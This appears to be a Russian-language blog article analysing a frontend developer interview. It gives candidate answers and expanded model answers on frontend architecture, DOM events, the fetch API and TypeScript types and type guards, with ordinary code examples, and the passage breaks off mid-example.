Перейти к основному содержимому

РЕАЛЬНОЕ СОБЕСЕДОВАНИЕ В БИГТЕХ НА MIDDLE/SENIOR FRONTEND-РАЗРАБОТЧИКА С ЗП 320К! ФРОНТЕНД СОБЕС

· 133 мин. чтения

Сегодня мы разберём собеседование на позицию middle+ frontend-разработчика, в ходе которого кандидат демонстрирует уверенные знания JavaScript, TypeScript, React и CSS, успешно решает практические задачи по реализации калькулятора и древовидного компонента, а также показывает понимание архитектурных подходов, работы с запросами и оптимизации рендеринга. Интервью проходит в дружелюбной атмосфере с двумя собеседующими, которые не только оценивают технические навыки, но и дают кандидату полезный фидбек и материалы для развития.

Вопрос 1. Какова была структура проекта с модульной архитектурой?

Таймкод: 00:00:49

Ответ собеседника: Правильный. Иерархия проекта включает слой pages, слой modules, слой components и слой shared, где лежат UI-компоненты, утилиты и переиспользуемые хуки. Pages состоит из modules, а modules состоит из components.

Правильный ответ:

Описанная структура соответствует подходу Feature-Sliced Design (FSD) — современной методологии модульной архитекции фронтенд-приложений. Разберём каждый слой подробнее.

1. Слой shared (общий слой)

Это фундаментальный слой приложения, содержащий код, не привязанный к бизнес-логике. Он включает:

  • UI-компоненты — переиспользуемые элементы интерфейса (кнопки, инпуты, модальные окна)
  • Утилиты (utils) — вспомогательные функции, не зависящие от предметной области
  • Хуки (hooks) — переиспользуемые хуки, не содержащие бизнес-логики (например, useDebounce, useLocalStorage)
  • API-клиенты — базовая настройка HTTP-клиента
  • Константы и типы — общие перечисления, интерфейсы, конфигурации

Правило: слой shared никогда не импортирует из других слоёв. Зависимости направлены строго сверху вниз.

2. Слой components (компоненты)

Содержит переиспользуемые UI-компоненты, которые могут включать определённую логику отображения, но не содержат бизнес-логики. Эти компоненты могут использоваться в любом модуле приложения.

3. Слой modules (модули)

Каждый модуль представляет собой самодостаточную единицу бизнес-функциональности. Модуль может содержать:

  • Собственные компоненты, хуки, утилиты
  • Логику работы с API (запросы, мутации)
  • Управление состоянием модуля
  • Типы и интерфейсы, специфичные для модуля

Ключевое правило: модуль не может импортировать из другого модуля. Взаимодействие между модулями происходит через публичный API (обычно через index.ts с явным экспортом).

4. Слой pages (страницы)

Содержит компоненты страниц приложения. Страница собирается из модулей и компонентов, определяя их расположение и композицию. Страница не содержит сложной логики — она лишь компонует модули вместе.

Принципы зависимостей между слоями:

pages → modules → components → shared

Зависимости направлены только сверху вниз. Нижний слой ничего не знает о верхних слоях. Это обеспечивает:

  • Низкую связанность — изменение в одном модуле не затрагивает другие
  • Высокую когезию — связанный код находится рядом
  • Тестируемость — каждый слой можно тестировать изолированно
  • Масштабируемость — новые фичи добавляются как независимые модули

Пример структуры проекта:

src/
├── shared/
│ ├── ui/
│ │ ├── Button/
│ │ ├── Input/
│ │ └── Modal/
│ ├── lib/
│ │ ├── hooks/
│ │ └── utils/
│ └── api/
│ └── baseApi.ts
├── components/
│ ├── Header/
│ ├── Footer/
│ └── Sidebar/
├── modules/
│ ├── auth/
│ │ ├── ui/
│ │ ├── model/
│ │ ├── api/
│ │ └── index.ts
│ └── profile/
│ ├── ui/
│ ├── model/
│ ├── api/
│ └── index.ts
├── pages/
│ ├── LoginPage/
│ ├── DashboardPage/
│ └── ProfilePage/
└── app/
├── providers/
└── router/

Данная архитектура позволяет командам работать параллельно над разными модулями, упрощает онбординг новых разработчиков и делает кодовую базу предсказуемой и поддерживаемой.

Вопрос 2. Какие ещё архитектуры известны помимо модульной?

Таймкод: 00:01:37

Ответ собеседника: Неполный. Известен Atomic Design, который используется больше для UI.

Правильный ответ:

Существует множество архитектурных подходов к организации фронтенд-приложений. Разберём основные из них.

1. Atomic Design

Методология Брэда Фроста, основанная на аналогии с химией. Компоненты делятся на пять уровней:

  • Atoms (атомы) — минимальные строительные блоки: кнопки, инпуты, лейблы, иконки
  • Molecules (молекулы) — комбинации атомов, образующие осмысленные элементы: поисковая строка (инпут + кнопка), элемент формы (лейбл + инпут)
  • Organisms (организмы) — сложные блоки интерфейса: шапка сайта, карточка товара, форма авторизации
  • Templates (шаблоы) — скелеты страниц, определяющие расположение организмов без конкретного содержимого
  • Pages (страницы) — конкретные экземпляры шаблонов с реальным контентом

Плюсы: интуитивная метафора, хорошая переиспользуемость компонентов. Минусы: размытая граница между уровнями, сложность принятия решений о принадлежности компонента к определённому уровню.

2. MVC (Model-View-Controller)

Классическая архитектура, разделяющая приложение на три слоя:

  • Model — данные и бизнес-логика приложения
  • View — отображение данных пользователю
  • Controller — обработка пользовательского ввода, координация между Model и View

В фронтенде этот паттерн эволюционировал. Например, в React-экосистеме Model часто представлен стейт-менеджером (Redux, MobX), View — компонентами, а Controller — контейнерными компонентами или хуками.

3. MVVM (Model-View-ViewModel)

Эволюция MVC, популярная в экосистемах с реактивным связыванием данных (Vue.js, Angular, WPF):

  • Model — данные и бизнес-логика
  • View — пользовательский интерфейс
  • ViewModel — посредник, который трансформирует Model для View и обрабатывает действия пользователя

ViewModel предоставляет реактивные свойства, за которыми View автоматически следит. Это устраняет необходимость ручного обновления интерфейса.

4. Clean Architecture

Архитектурный подход Роберта Мартина, применимый и к фронтенду. Основные принципы:

  • Слои с правилом зависимостей — внешние слои зависят от внутренних, но не наоборот
  • Entities — бизнес-сущности и правила, независимые от фреймворков
  • Use Cases — конкретные сценарии использования приложения
  • Interface Adapters — адаптеры, преобразующие данные между слоями (контроллеры, презентеры, шлюзы)
  • Frameworks & Drivers — внешние инструменты: фреймворки, базы данных, UI

5. Hexagonal Architecture (Ports and Adapters)

Также известна как «архитектура портов и адаптеров»:

  • Ядро приложения содержит бизнес-логику и определяет порты (интерфейсы)
  • Адаптеры реализуют порты для конкретных технологий (HTTP, базы данных, внешние API)
  • Ядро не зависит от адаптеров — зависимости инвертируются через интерфейсы

Это позволяет легко менять технологии, не затрагивая бизнес-логику.

6. Redux Architecture (Flux)

Архитектурный паттерн для управления состоянием:

  • Unidirectional data flow — данные движутся в одном направлении
  • Store — единый источник истины для состояния
  • Actions — описания того, что произошло
  • Reducers — чистые функции, определяющие как состояние меняется в ответ на действия

Плюсы: предсказуемость, возможность путешествий во времени (time-travel debugging). Минусы: многословность, избыточность для простых случаев.

7. Micro Frontends

Архитектурный подход, при котором приложение разбивается на независимые микро-приложения:

  • Каждый микрофронтенд разрабатывается отдельной командой
  • Независимый деплой и масштабирование
  • Возможность использовать разные технологии в разных частях

Способы интеграции: Module Federation (Webpack), iframes, Web Components, серверная композиция.

8. Component-Driven Development

Подход, сфокусированный на разработке компонентов изолированно:

  • Компоненты разрабатываются и тестируются независимо
  • Используются инструменты вроде Storybook для визуальной разработки
  • Компоненты документируются через сторис и автоматическую документацию

Сравнительная таблица:

АрхитектураФокусСложностьЛучше всего для
Atomic DesignUI-компонентыСредняяПроекты с богатым UI
MVCРазделение ответственностиНизкаяПростые приложения
MVVMРеактивностьСредняяVue, Angular проекты
Clean ArchitectureНезависимость от фреймворковВысокаяКрупные долгоживущие проекты
HexagonalТестируемостьВысокаяСложная бизнес-логика
Flux/ReduxУправление состояниемСредняяСложные состояния приложения
Micro FrontendsМасштабирование командОчень высокаяКрупные организации
Component-DrivenПереиспользуемость UIСредняяБиблиотеки компонентов

Выбор архитектуры зависит от размера команды, сложности проекта, требований к масштабируемости и долгосрочной поддержке. Часто в реальных проектах комбинируют несколько подходов.

Вопрос 3. Какие виды событий в JavaScript наиболее востребованы в работе и как на них подписаться?

Таймкод: 00:01:55

Ответ собеседника: Правильный. Самые востребованные события: onclick, onchange, onmouseover, ondrag. Подписаться можно через атрибуты в JSX (передавая обработчик), через addEventListener или через ref с использованием useEffect.

Правильный ответ:

Категории востребованных событий:

1. События мыши (MouseEvent)

  • click — клик элемента (наиболее частое событие)
  • dblclick — двойной клик
  • mousedown / mouseup — нажатие/отпускание кнопки мыши
  • mousemove — движение мыши над элементом
  • mouseenter / mouseleave — наведение/уход курсора (не всплывают)
  • mouseover / mouseout — аналоги, но всплывают
  • contextmenu — клик правой кнопкой мыши

2. События клавиатуры (KeyboardEvent)

  • keydown — нажатие клавиши (срабатывает удержании)
  • keyup — отпускание клавиши
  • keypress — устаревшее, не рекомендуется к использованию

3. События форм и элементов ввода

  • change — изменение значения элемента (срабатывает после потери фокуса для input)
  • input — изменение значения в реальном времени (каждое нажатие клавиши)
  • focus / blur — получение/потеря фокуса
  • submit — отправка формы
  • reset — сброс формы

4. События документа и окна

  • DOMContentLoaded — DOM полностью загружен (без стилей и изображений)
  • load — вся страница загружена (включая ресурсы)
  • resize — изменение размера окна
  • scroll — прокрутка страницы
  • beforeunload / unload — закрытие/перезагрузка страницы

5. События перетаскивания (DragEvent)

  • dragstart — начало перетаскивания
  • drag — процесс перетаскивания
  • dragenter / dragleave — вход/выход в зону броска
  • dragover — нахождение над зоной броска
  • drop — элемент брошен
  • dragend — завершение перетаскивания

6. События касаний (TouchEvent) — для мобильных устройств

  • touchstart / touchend / touchmove / touchcancel

7. События мультимедиа

  • play / pause / ended / timeupdate

Способы подписки на события:

А. Через JSX-атрибуты (React)

function MyComponent() {
const handleClick = (event) => {
console.log('Клик!', event.target);
};

const handleChange = (event) => {
console.log('Значение:', event.target.value);
};

return (
<div>
<button onClick={handleClick}>Нажми</button>
<input onChange={handleChange} />
<div onMouseEnter={() => console.log('Навели')}>
Наведи на меня
</div>
</div>
);
}

Важно: передавать саму функцию, а не вызов функции (без скобок), если не нужны аргументы.

Б. Через addEventListener (нативный JavaScript)

const button = document.getElementById('myButton');

// Подписка
button.addEventListener('click', function handleClick(event) {
console.log('Клик!', event);
});

// С использованием именованной функции для возможности отписки
const handler = (event) => console.log('Клик!');
button.addEventListener('click', handler);

// Отписка
button.removeEventListener('click', handler);

// Опции подписки
button.addEventListener('click', handler, {
once: true, // сработает только один раз
capture: true, // фаза захвата вместо всплытия
passive: true // обработчик не вызовет preventDefault()
});

В. Через ref и useEffect (React — императивный подход)

import { useRef, useEffect } from 'react';

function MyComponent() {
const divRef = useRef(null);

useEffect(() => {
const element = divRef.current;
if (!element) return;

const handleScroll = (event) => {
console.log('Прокрутка:', element.scrollTop);
};

element.addEventListener('scroll', handleScroll);

// Очистка при размонтировании
return () => {
element.removeEventListener('scroll', handleScroll);
};
}, []);

return <div ref={divRef} style={{ overflow: 'auto', height: '200px' }}>
{/* Контент */}
</div>;
}

Этот подход необходим, когда нужно подписаться на события, не поддерживаемые React нативно (например, scroll, resize на конкретном элементе, кастомные события).

Г. Делегирование событий

Вместо подписки на каждый элемент, подписываемся на родителя:

document.getElementById('list').addEventListener('click', (event) => {
if (event.target.matches('li.item')) {
console.log('Клик по элементу списка:', event.target.textContent);
}
});

Это эффективно для динамически создаваемых элементов и большого количества однотипных элементов.

Ключевые моменты при работе с событиями:

  • Всегда очищайте подписки при размонтировании компонента (в React — через useEffect с cleanup-функцией)
  • Используйте делегирование для оптимизации производительности
  • Помните о разнице между mouseenter/mouseleave (не всплывают) и mouseover/mouseout (всплывают)
  • Событие input срабатывает при каждом изменении, change — после завершения редактирования
  • Для предотвращения стандартного поведения используйте event.preventDefault()
  • Для остановки всплытия — event.stopPropagation()

Вопрос 4. В чём суть и отличие между preventDefault и stopPropagation?

Таймкод: 00:03:56

Ответ собеседника: Правильный. stopPropagation отменяет всплытие события, а preventDefault отменяет дефолтное поведение элемента (например, перезагрузку страницы при сабмите формы). stopPropagation используется, чтобы клик на элементе не всплывал к родителям — например, чтобы клик по модальному окну не закрывало его через overlay.

Правильный ответ:

Оба метода предотвращают определённое поведение при обработке событий, но решают разные задачи.

1. preventDefault() — отмена стандартного поведения браузера

Метод отменяет встроенное поведение браузера для данного элемента и события. Это поведение определено спецификацией HTML и не связано с механизмом всплытия событий.

Примеры стандартного поведения:

  • Клик по ссылке <a> — переход по URL
  • Отправка формы <form> — перезагрузка страницы
  • Клик по чекбоксу — переключение состояния
  • Нажатие клавиши в поле ввода — ввод символа
  • Прокрутка колесом мыши — скролл страницы
  • Клик правой кнопкой — контекстное меню
// Отмена перехода по ссылке
document.querySelector('a').addEventListener('click', (event) => {
event.preventDefault();
// Ссылка не откроется, но событие продолжит всплытие
});

// Отмена отправки формы (для AJAX-отправки)
document.querySelector('form').addEventListener('submit', (event) => {
event.preventDefault();
const formData = new FormData(event.target);
fetch('/api/submit', { method: 'POST', body: formData });
});

// Отмена прокрутки на элементе
element.addEventListener('wheel', (event) => {
event.preventDefault();
// Кастомная логика прокрутки
});

2. stopPropagation() — остановка всплытия события

Метод предотвращает дальнейшее всплытие события по DOM-дереву. Событие не достигнет родительских элементов.

Механизм работы событий в DOM:

  • Фаза захвата (capture) — событие идёт сверху вниз от document к целевому элементу
  • Целевая фаза (target) — событие достигло целевого элемента
  • Фаза всплытия (bubble) — событие идёт снизу вверх от целевого элемента к document

stopPropagation() останавливает продвижение события на текущей фазе.

// Модальное окно: клик по контенту не закрывает модалку
document.querySelector('.modal-overlay').addEventListener('click', () => {
closeModal(); // Закрыть модалку при клике на затемнённый фон
});

document.querySelector('.modal-content').addEventListener('click', (event) => {
event.stopPropagation();
// Клик по содержимому модалки не всплывёт к overlay
// Модалка не закроется
});

3. stopImmediatePropagation() — остановка для всех обработчиков

В отличие от stopPropagation(), этот метод останавливает событие не только для родительских элементов, но и для других обработчиков на том же элементе.

element.addEventListener('click', (event) => {
event.stopImmediatePropagation();
console.log('Первый обработчик');
});

element.addEventListener('click', () => {
console.log('Второй обработчик — не выполнится');
});

4. Сравнительная таблица

МетодЧто делаетВлияет на стандартное поведениеВлияет на всплытиеВлияет на другие обработчики элемента
preventDefault()Отменяет действие браузераДаНетНет
stopPropagation()Останавливает всплытиеНетДа (родители)Нет
stopImmediatePropagation()Полная остановкаНетДа (родители)Да (тот же элемент)

5. Практические примеры комбинирования

// Кастомная валидация формы с предотвращением отправки
form.addEventListener('submit', (event) => {
if (!isFormValid()) {
event.preventDefault(); // Не отправляем форму
showErrors();
}
});

// Вложенные кликабельные элементы
document.querySelector('.card').addEventListener('click', () => {
navigateToCardPage();
});

document.querySelector('.card .delete-button').addEventListener('click', (event) => {
event.stopPropagation(); // Клик по кнопке удаления не откроет карточку
event.preventDefault(); // Если кнопка — ссылка, отменяем переход
deleteCard();
});

6. Важные нюансы

  • preventDefault() можно вызвать на любой фазе обработки события
  • Некоторые события нельзя отменить — для них event.cancelable будет false
  • Опция { passive: true } в addEventListener указывает, что обработчик не вызовет preventDefault() — это оптимизация для touch/scroll событий
  • В React синтетические события работают аналогично, но имеют свои особенности с пулингом событий

Вопрос 5. Что такое fetch, как он работает и какие параметры принимает?

Таймкод: 00:05:22

Ответ собеседника: Правильный. fetch используется для отправки запросов, возвращает промис. Есть методы вроде json для преобразования ответа. Можно отменять через AbortController. Параметры: обязательный — URL endpoint, необязательные — headers, body.

Правильный ответ:

1. Что такое fetch

fetch() — это современный браузерный API для выполнения HTTP-запросов, встроенный в браузер без необходимости подключения внешних библиотек. Пришёл на смену XMLHttpRequest (XHR) и предоставляет Promise-based интерфейс.

2. Сигнатура и параметры

fetch(url, options)

Обязательный параметр:

  • url — строка с адресом ресурса (абсолютный или относительный URL)

Необязательный параметр options (объект):

{
// HTTP-метод
method: 'GET' | 'POST' | 'PUT' | 'PATCH' | 'DELETE' | 'HEAD' | 'OPTIONS',

// Заголовки запроса
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer token123',
'Accept': 'application/json'
},
// или new Headers({...})

// Тело запроса (не для GET и HEAD)
body: JSON.stringify(data) | FormData | Blob | URLSearchParams | ArrayBuffer | string,

// Режим CORS
mode: 'cors' | 'no-cors' | 'same-origin',

// Управление куками
credentials: 'omit' | 'same-origin' | 'include',

// Кэширование
cache: 'default' | 'no-store' | 'reload' | 'no-cache' | 'force-cache' | 'only-if-cached',

// Перенаправления
redirect: 'follow' | 'error' | 'manual',

// Целостность ресурса (SRI)
integrity: 'sha256-...',

// Сохранять ли referrer
referrer: 'no-referrer' | 'client' | URL,
referrerPolicy: 'no-referrer' | 'no-referrer-when-downgrade' | ...,

// Сигнал для отмены
signal: AbortSignal,

// Приоритет запроса (экспериментальное)
priority: 'high' | 'low' | 'auto',

// Keep-alive для продолжения после закрытия страницы
keepalive: true | false
}

3. Как работает fetch

А. Возвращает Promise

fetch() возвращает Promise, который разрешается в объект Response при получении ответа от сервера (даже при статусах 4xx и 5xx).

const response = await fetch('/api/users');
// response — объект Response, даже если сервер вернул 404 или 500

Б. Объект Response

{
// Статус ответа
status: 200, // HTTP-статус
statusText: 'OK', // Текстовое описание статуса
ok: true, // true для статусов 200-299

// Заголовки ответа
headers: Headers, // Объект с методами get(), has(), forEach()

// Тело ответа (методы возвращают Promise)
json(): Promise<any>, // Парсинг JSON
text(): Promise<string>, // Текст
blob(): Promise<Blob>, // Бинарные данные (файлы)
arrayBuffer(): Promise<ArrayBuffer>,
formData(): Promise<FormData>,

// Метаданные
url: string, // Финальный URL (после редиректов)
redirected: boolean, // Был ли редирект
type: 'basic' | 'cors' | 'error' | 'opaque'
}

В. Особенности обработки ошибок

fetch() не отклоняет Promise при HTTP-ошибках (4xx, 5xx). Нужно проверять вручную:

const response = await fetch('/api/users');

if (!response.ok) {
// response.ok === false для статусов вне диапазона 200-299
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}

const data = await response.json();

Promise отклоняется только при сетевых ошибках (нет соединения, CORS-ошибка, таймаут).

4. Примеры использования

А. GET-запрос

const response = await fetch('/api/users?page=1&limit=10', {
method: 'GET',
headers: {
'Accept': 'application/json'
}
});

const users = await response.json();

Б. POST-запрос с JSON

const response = await fetch('/api/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${token}`
},
body: JSON.stringify({
name: 'Иван',
email: 'ivan@example.com'
})
});

const newUser = await response.json();

В. Отправка формы (FormData)

const formData = new FormData();
formData.append('name', 'Иван');
formData.append('avatar', fileInput.files[0]);

const response = await fetch('/api/profile', {
method: 'POST',
// Content-Type устанавливается автоматически с boundary
body: formData
});

Г. Загрузка файла

const response = await fetch('/api/upload', {
method: 'POST',
headers: {
'Content-Type': file.type
},
body: file // Blob или File
});

Д. Скачивание файла

const response = await fetch('/api/reports/123/download');
const blob = await response.blob();

// Создание ссылки для скачивания
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'report.pdf';
a.click();
URL.revokeObjectURL(url);

5. Отмена запроса через AbortController

const controller = new AbortController();
const signal = controller.signal;

// Запускаем запрос
const fetchPromise = fetch('/api/data', { signal });

// Отменяем через 5 секунд (или при любом другом условии)
const timeoutId = setTimeout(() => controller.abort(), 5000);

try {
const response = await fetchPromise;
clearTimeout(timeoutId);
const data = await response.json();
} catch (error) {
if (error.name === 'AbortError') {
console.log('Запрос был отменён');
}
}

AbortController с несколькими запросами:

const controller = new AbortController();

// Один signal для нескольких запросов
fetch('/api/users', { signal: controller.signal });
fetch('/api/posts', { signal: controller.signal });

// Отмена всех запросов одновременно
controller.abort();

6. Обёртка для удобства использования

class HttpClient {
constructor(baseURL) {
this.baseURL = baseURL;
}

async request(endpoint, options = {}) {
const url = `${this.baseURL}${endpoint}`;

const config = {
...options,
headers: {
'Content-Type': 'application/json',
...options.headers
}
};

if (config.body && typeof config.body === 'object' && !(config.body instanceof FormData)) {
config.body = JSON.stringify(config.body);
}

const response = await fetch(url, config);

if (!response.ok) {
const error = await response.json().catch(() => ({}));
throw new ApiError(response.status, error.message || response.statusText);
}

// Проверяем, есть ли контент в ответе
const contentType = response.headers.get('content-type');
if (contentType && contentType.includes('application/json')) {
return response.json();
}
return response.text();
}

get(endpoint, options) {
return this.request(endpoint, { ...options, method: 'GET' });
}

post(endpoint, body, options) {
return this.request(endpoint, { ...options, method: 'POST', body });
}

put(endpoint, body, options) {
return this.request(endpoint, { ...options, method: 'PUT', body });
}

delete(endpoint, options) {
return this.request(endpoint, { ...options, method: 'DELETE' });
}
}

// Использование
const api = new HttpClient('https://api.example.com');
const users = await api.get('/api/users');
const newUser = await api.post('/api/users', { name: 'Иван' });

7. Сравнение с альтернативами

ХарактеристикаfetchaxiosXMLHttpRequest
Встроен в браузерДаНетДа
Promise-basedДаДаНет (callbacks)
Прогресс загрузкиЧерез ReadableStreamДа (onUploadProgress)Да (onprogress)
Отмена запросаAbortControllerCancelToken (deprecated)abort()
ТаймаутЧерез AbortControllerВстроенный timeouttimeout property
Автоматический JSONНетДаНет
ПерехватчикиНетДа (interceptors)Нет
Размер0 кб~13 кб0 кб
Поддержка IEНетДаДа

fetch — это мощный и гибкий API, который покрывает большинство потребностей при работе с HTTP-запросами в современных браузерах.

Вопрос 6. В чём разница между type и interface в TypeScript?

Таймкод: 00:06:24

Ответ собеседника: Правильный. type позволяет типизировать любые типы данных, а interface — только объекты и классов. Интерфейсы расширяются через extends, типы комбинируются через &. При объявлении двух интерфейсов с одинаковым именем они объединяются, а type выдаст ошибку.

Правильный ответ:

Оба конструкта используются для определения типов в TypeScript, но имеют существенные различия в возможностях и поведении.

1. Область применения

Interface — предназначен исключительно для описания формы объектов:

interface User {
id: number;
name: string;
email: string;
}

interface FunctionType {
(x: number, y: number): number; // описание функции
}

interface ArrayType {
[index: number]: string; // описание массива
}

Type — универсальный инструмент, может описывать любые типы:

// Примитивы
type ID = string | number;
type Status = 'active' | 'inactive' | 'pending';

// Объекты
type User = {
id: number;
name: string;
};

// Функции
type MathOperation = (a: number, b: number) => number;

// Объединения и пересечения
type AdminUser = User & { role: 'admin'; permissions: string[] };

// Кортежи
type Coordinate = [number, number, number];

// Маппинг типов
type Readonly<T> = {
readonly [P in keyof T]: T[P];
};

// Условные типы
type IsString<T> = T extends string ? true : false;

// Извлечение типа из массива
type Flatten<T> = T extends Array<infer U> ? U : T;

// Работа с литеральными типами
type EventName = 'click' | 'hover' | 'focus';
type EventHandler = `on${Capitalize<EventName>}`; // 'onClick' | 'onHover' | 'onFocus'

2. Расширение типов

Interface использует extends:

interface Animal {
name: string;
}

interface Dog extends Animal {
breed: string;
}

// Множественное наследование
interface Pet {
owner: string;
}

interface Dog extends Animal, Pet {
breed: string;
}

const myDog: Dog = {
name: 'Rex',
breed: 'Labrador',
owner: 'Иван'
};

Type использует пересечение &:

type Animal = {
name: string;
};

type Dog = Animal & {
breed: string;
};

// Множественное пересечение
type Pet = {
owner: string;
};

type Dog = Animal & Pet & {
breed: string;
};

Разница при конфликте свойств:

// Interface — ошибка при конфликте
interface A {
x: string;
}
interface B {
x: number;
}
// interface C extends A, B {} // Ошибка: конфликт типов для x

// Type — создаёт пересечение типов
type A = { x: string };
type B = { x: number };
type C = A & B;
// x имеет тип string & number = never
const c: C = { x: 1 }; // Ошибка: тип never невозможно присвоить

3. Declaration merging (слияние объявлений)

Interface поддерживает автоматическое слияние при повторном объявлении:

interface User {
id: number;
name: string;
}

interface User {
email: string;
}

// TypeScript автоматически объединит оба объявления:
// interface User {
// id: number;
// name: string;
// email: string;
// }

const user: User = {
id: 1,
name: 'Иван',
email: 'ivan@example.com' // работает!
};

Это особенно полезно при расширении типов из внешних библиотек (declaration merging):

// Расширение интерфейса Express Request
declare namespace Express {
interface Request {
userId?: string;
userRole?: string;
}
}

Type не поддерживает слияние — повторное объявление вызовет ошибку:

type User = {
id: number;
name: string;
};

type User = { // Ошибка: Duplicate identifier 'User'
email: string;
};

4. Реализация классов

Оба могут использоваться с implements, но с нюансами:

interface Printable {
print(): string;
}

interface Serializable {
serialize(): string;
}

// Класс может реализовать несколько интерфейсов
class Document implements Printable, Serializable {
print() { return 'Printing...'; }
serialize() { return JSON.stringify(this); }
}

// Type тоже работает с implements
type Loggable = {
log(): string;
};

class Service implements Loggable {
log() { return 'Logging...'; }
}

5. Вычисляемые свойства

Interface не поддерживает вычисляемые свойства напрямую:

// Так нельзя:
// interface Dynamic {
// [`prefix_${string}`]: string; // Ошибка
// }

Type поддерживает маппинг и вычисляемые свойства:

type EventHandlers = {
[K in `on${Capitalize<string>}`]: () => void;
};

type Prefixed<Prefix extends string, T> = {
[K in keyof T as `${Prefix}${Capitalize<string & K>}`]: T[K];
};

type User = { name: string; age: number };
type UserProps = Prefixed<'user', User>;
// { userName: string; userAge: number }

6. Рекомендации по использованию

Используйте interface, когда:

  • Описываете форму объекта (DTO, модели данных)
  • Создаёте контракты для классов (implements)
  • Нужна возможность расширения через declaration merging
  • Работаете с объектно-ориентированными паттернами

Используйте type, когда:

  • Нужны объединения (union) или пересечения (intersection)
  • Создаёте псевдонимы для примитивов
  • Работаете с кортежами
  • Используете условные типы или mapped types
  • Нужны вычисляемые свойства
  • Создаёте сложные составные типы

7. Сравнительная таблица

Характеристикаinterfacetype
ОбъектыДаДа
ПримитивыНетДа
Union typesНетДа
Intersection typesЧерез extendsЧерез &
Declaration mergingДаНет
ImplementsДаДа
Расширениеextends&
Вычисляемые свойстваНетДа
Conditional typesНетДа
Mapped typesНетДа
КортежиНетДа
Функциональные типыДа (неудобно)Да (удобно)

8. Практический пример совместного использования

// Базовые типы через type
type ID = string | number;
type Timestamp = number;

// Интерфейсы для объектов
interface BaseEntity {
id: ID;
createdAt: Timestamp;
updatedAt: Timestamp;
}

interface User extends BaseEntity {
name: string;
email: string;
role: UserRole;
}

// Union type для ролей
type UserRole = 'admin' | 'user' | 'moderator';

// Intersection type для расширения
type AdminUser = User & {
role: 'admin';
permissions: string[];
department: string;
};

// Mapped type для DTO
type CreateUserDTO = Omit<User, 'id' | 'createdAt' | 'updatedAt'>;
type UpdateUserDTO = Partial<Pick<User, 'name' | 'email'>>;
type UserResponse = Readonly<User>;

В современном TypeScript выбор между type и interface часто зависит от команды и контекста. Главное — быть последовательным в рамках проекта.

Вопрос 7. Что такое type guard в TypeScript и для чего используется?

Таймкод: 00:07:03

Ответ собеседника: Правильный. Type guard — это функции, которые принимают значение (например, с типом unknown) и определяют его тип с помощью typeof, instanceof и других проверок. Возвращают true/false и используют операторы для типизации.

Правильный ответ:

Type guard — это механизм TypeScript, позволющий сузить тип переменной в определённом блоке кода. Это особенно важно при работе с union types, unknown, any и при обработке внешних данных.

1. Встроенные type guards

А. typeof type guard

Работает с примитивными типами:

function processValue(value: string | number | boolean) {
if (typeof value === 'string') {
// Здесь value имеет тип string
return value.toUpperCase();
}

if (typeof value === 'number') {
// Здесь value имеет тип number
return value.toFixed(2);
}

// Здесь value имеет тип boolean
return value ? 'yes' : 'no';
}

Поддерживаемые проверки: 'string', 'number', 'boolean', 'undefined', 'object', 'function', 'symbol', 'bigint'.

Б. instanceof type guard

Проверяет принадлежность к классу:

class ApiError extends Error {
constructor(public statusCode: number, message: string) {
super(message);
}
}

class NetworkError extends Error {
constructor(message: string) {
super(message);
}
}

function handleError(error: ApiError | NetworkError | Error) {
if (error instanceof ApiError) {
// error: ApiError
console.log(`API Error ${error.statusCode}: ${error.message}`);
return;
}

if (error instanceof NetworkError) {
// error: NetworkError
console.log(`Network Error: ${error.message}`);
return;
}

// error: Error
console.log(`Unknown Error: ${error.message}`);
}

В. in type guard

Проверяет наличие свойства в объекте:

interface Cat {
meow(): void;
name: string;
}

interface Dog {
bark(): void;
name: string;
}

function makeSound(animal: Cat | Dog) {
if ('meow' in animal) {
// animal: Cat
animal.meow();
} else {
// animal: Dog
animal.bark();
}
}

// Практический пример с API-ответами
interface SuccessResponse {
status: 'success';
data: unknown;
}

interface ErrorResponse {
status: 'error';
errorCode: number;
errorMessage: string;
}

type ApiResponse = SuccessResponse | ErrorResponse;

function handleResponse(response: ApiResponse) {
if ('errorCode' in response) {
// response: ErrorResponse
console.error(`Error ${response.errorCode}: ${response.errorMessage}`);
return;
}

// response: SuccessResponse
console.log('Data:', response.data);
}

2. Пользовательские type guards (User-Defined Type Guards)

Функции с предикатом типа parameterName is Type:

interface User {
id: number;
name: string;
email: string;
}

interface Admin {
id: number;
name: string;
permissions: string[];
}

type UserOrAdmin = User | Admin;

// Пользовательский type guard
function isAdmin(user: UserOrAdmin): user is Admin {
return 'permissions' in user;
}

function processUser(user: UserOrAdmin) {
if (isAdmin(user)) {
// user: TypeScript знает, что это Admin
console.log('Permissions:', user.permissions);
} else {
// user: TypeScript знает, что это User
console.log('Email:', user.email);
}
}

3. Практические примеры type guards

А. Проверка на null/undefined

function processName(name: string | null | undefined): string {
if (name == null) {
// name: null | undefined (== проверяет и null, и undefined)
return 'Anonymous';
}

// name: TypeScript сузил тип до string
return name.trim();
}

Б. Type guard для API-ответов

interface UserDTO {
id: number;
name: string;
email: string;
createdAt: string;
}

// Type guard для валидации внешних данных
function isUserDTO(value: unknown): value is UserDTO {
if (typeof value !== 'object' || value === null) {
return false;
}

const obj = value as Record<string, unknown>;

return (
typeof obj.id === 'number' &&
typeof obj.name === 'string' &&
typeof obj.email === 'string' &&
typeof obj.createdAt === 'string'
);
}

// Использование
async function fetchUser(id: number): Promise<UserDTO> {
const response = await fetch(`/api/users/${id}`);
const data: unknown = await response.json();

if (!isUserDTO(data)) {
throw new Error('Invalid user data received from API');
}

// data: TypeScript знает, что это UserDTO
return data;
}

В. Type guard для discriminated unions

interface LoadingState {
status: 'loading';
}

interface SuccessState<T> {
status: 'success';
data: T;
}

interface ErrorState {
status: 'error';
error: Error;
}

type AsyncState<T> = LoadingState | SuccessState<T> | ErrorState;

function renderState<T>(state: AsyncState<T>) {
switch (state.status) {
case 'loading':
// state: LoadingState
return 'Loading...';

case 'success':
// state: SuccessState<T>
return `Data: ${JSON.stringify(state.data)}`;

case 'error':
// state: ErrorState
return `Error: ${state.error.message}`;

default:
// Exhaustiveness check — проверка исчерпания
const _exhaustiveCheck: never = state;
return _exhaustiveCheck;
}
}

Г. Type guard с массивами

function processItems(items: (string | number)[]) {
// Фильтрация с type guard
const strings: string[] = items.filter(
(item): item is string => typeof item === 'string'
);

const numbers: number[] = items.filter(
(item): item is number => typeof item === 'number'
);

